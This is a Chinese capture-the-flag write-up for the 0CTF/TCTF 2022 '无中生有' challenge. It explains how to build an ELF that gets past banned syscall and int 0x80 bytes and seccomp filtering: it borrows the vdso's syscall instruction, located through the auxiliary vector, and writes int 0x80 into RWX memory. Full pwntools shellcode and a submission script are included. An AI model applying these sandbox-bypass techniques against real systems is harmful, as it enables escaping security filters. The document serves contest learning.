0CTF/TCTF 2022 RisingStar Final 无中生有

题目附件:无中生有_88ca11dade60f8c3dd26022c61439164.tzst

题目分析

通过分析附件中的 server.py 和 launcher 文件,了解到该题需要我们构造一个ELF可执行文件,其中:

  1. ELF头部有一些限制
  2. 限制了进程可使用的系统调用
  3. 需要将flag输出到stdout:orw
  4. 以137号exit code退出:exit(137)

然后,重点分析下前两个限制条件。

限制1

限制1 - 对ELF头部的检查在server.py中,主要有:

  • 不允许在构造的ELF文件中存在 syscallint 0x80 两个指令(b’\xcd\x80’ or b’\x0f\x05’)。
  • 不允许在页的边界处存在可能组成以上两个指令的字符(b’\xcd’ or b’\x80’ or b’\x0f’ or b’\x05’)。
  • ELF文件类型需要是“可执行文件”或“动态链接库文件”,ELF版本号为1,e_ehsize必须是0x40,e_phoff必须是0x40,e_phnum必须大于0且小于100。
  • ELF中每一个段的p_filesz和p_memsz都必须小于0x10000,ELF要求必须是静态链接的,不允许存在即可写又可执行的segment。

限制2

限制2 - 执行该ELF前,launcher内会设置如下seccomp规则:

Snipaste_2024-01-29_23-02-28.jpg

系统调用做了64位和32位的区分,因此为拿到flag,我们既要构造 syscall 指令,也要构造 int 0x80 指令。思路如下:

  • syscall指令:vdso中有syscall指令。但如何获得vdso的基址呢?vdso的基地址可以通过auxv(ELF auxilary vector)数组获得;auxv数组存放在栈的底部,它对应的结构体是struct Elf32_auxv_t;vdso基址在该结构体中的偏移是AT_SYSINFO_EHDR。因此我们可以通过rsp在栈中搜索vdso基址。【参考:About ELF Auxiliary Vectors
  • int 0x80:由于题目限制了64位的ELF,所以在进程空间内原本是没有32位指令的,所以需要构造。如何构造呢?利用64位下的mmap申请一段rwx内存,分次将b’\xcd\x80’写入,即可获得调用32位系统调用的能力。

限制1和2绕过后,之后的两步就是写写shellcode的工作了。

利用步骤

为了清晰起见,将利用步骤分开了,没有合并成一个脚本。先在本地生成一个elf文件,改完ELF头后,通过第二个脚本打远程获取flag。

生成elf文件部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
from pwn import *

# get vdso syscall ret ; #define AT_SYSINFO_EHDR 33
s = asm('''
mov rax, rsp
compare_loop:
mov r12, [rax]
cmp r12, 0x21
je exit_loop
add rax, 8
jmp compare_loop
exit_loop:
add rax,8
mov r12, [rax]
add r12, 0xD06
''',arch="amd64")

# mmap(0xc000000,4096,PROT_READ|PROT_WRITE,MAP_ANONYMOUS|MAP_FIXED|MAP_SHARED,-1,0)
# : mmap and store "/flag"
s += asm('''
mov rdi, 0xc000000
mov rsi, 4096
mov rdx, 3
mov r10, 49
mov r8, -1
mov r9, 0
mov rax, 90
call r12
mov eax, 0x616c662f
mov ebx, 0x67
mov rdi, 0xc000000
mov [rdi],eax
mov [rdi+4],ebx
''',arch="amd64")

# mmap(0xd000000,4096,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_ANONYMOUS|MAP_FIXED|MAP_SHARED,-1,0)
# : mmap and store "int 0x80; ret"
s += asm('''
mov rdi, 0xd000000
mov rsi, 4096
mov rdx, 7
mov r10, 49
mov r8, -1
mov r9, 0
mov rax, 90
call r12
mov rdi, 0xd000000
mov rax, 0xcd
mov [rdi], rax
mov rax, 0x80
mov [rdi+1], rax
mov rax, 0xc3
mov [rdi+2], rax
''',arch="amd64")

# fd = open(0xc000000,0) : open flag
s += asm('''
mov ebx, 0xc000000
mov ecx, 0
mov eax, 2
mov r13, 0xd000000
call r12
''',arch="amd64")

# read(fd, 0xc000000+0x100, 40) : read flag
# write(1, 0xc000000+0x100, 40) : write flag to stdout
s += asm('''
mov rdi, rax
mov rsi, 0xc000100
mov rdx, 40
mov rax, 3
call r12
mov rdi, 1
mov rsi, 0xc000100
mov rdx, 40
mov rax, 4
call r12
''',arch="amd64")

# exit(137)
s += asm('''
mov ebx, 137
mov eax, 1
call r13
''',arch="amd64")

context.arch = 'amd64'
f = open("exp_0",'wb')
f.write(make_elf(s))
f.close()

注意:以上生成的ELF文件中PT_LOAD和PT_GNU_STACK的权限都是rwx,可通过010editor等工具将PT_LOAD改成rx,将PT_GNU_STACK改成rw。

打远程部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
context(arch="amd64",os="linux",log_level="debug")

def pass_pow():
io.recvuntil("Show me your computation:\n")
x = io.recvuntil(" = ?").decode()
print('====> x:', x)
d = re.findall(r'(\d+)\^\((\d+)\^(\d+)\) mod (\d+) = \?', x)[0]
print('=====> info:', d)
a, b, c, p = [int(a) for a in d]
result = pow(mpz(a), pow(mpz(b), mpz(c)), mpz(p))
print('=========> result:', result)
io.sendlineafter("Your answer: ", str(result))

io = process(["/usr/bin/python3","../server.py"])
pass_pow()

file_path = './exp_0'
file = open(file_path, 'rb')
file_content = file.read()
print(len(file_content))

io.sendlineafter(b"Size of your ELF: ",str(len(file_content)))
io.sendlineafter(b"ELF File:",file_content)

io.recvuntil(b"Return status: ")
a = io.recvline()[:-1]
if a=="137":
io.recvuntil("Output:")
ret = io.recvline()
else:
print("error")

io.interactive()

由于是赛后做出来的题,没机会在远程环境上尝试打一遍,所以不确定脚本能否在远程题目环境中打通。不过,在本地调试中,证明以上利用思路和代码是没有问题的。


除了这道题外,紧接着的 0CTF/TCTF 2023 中还有两道进阶题:

感兴趣的可以做做,目前只找到一篇nothing的wp:Nothing is True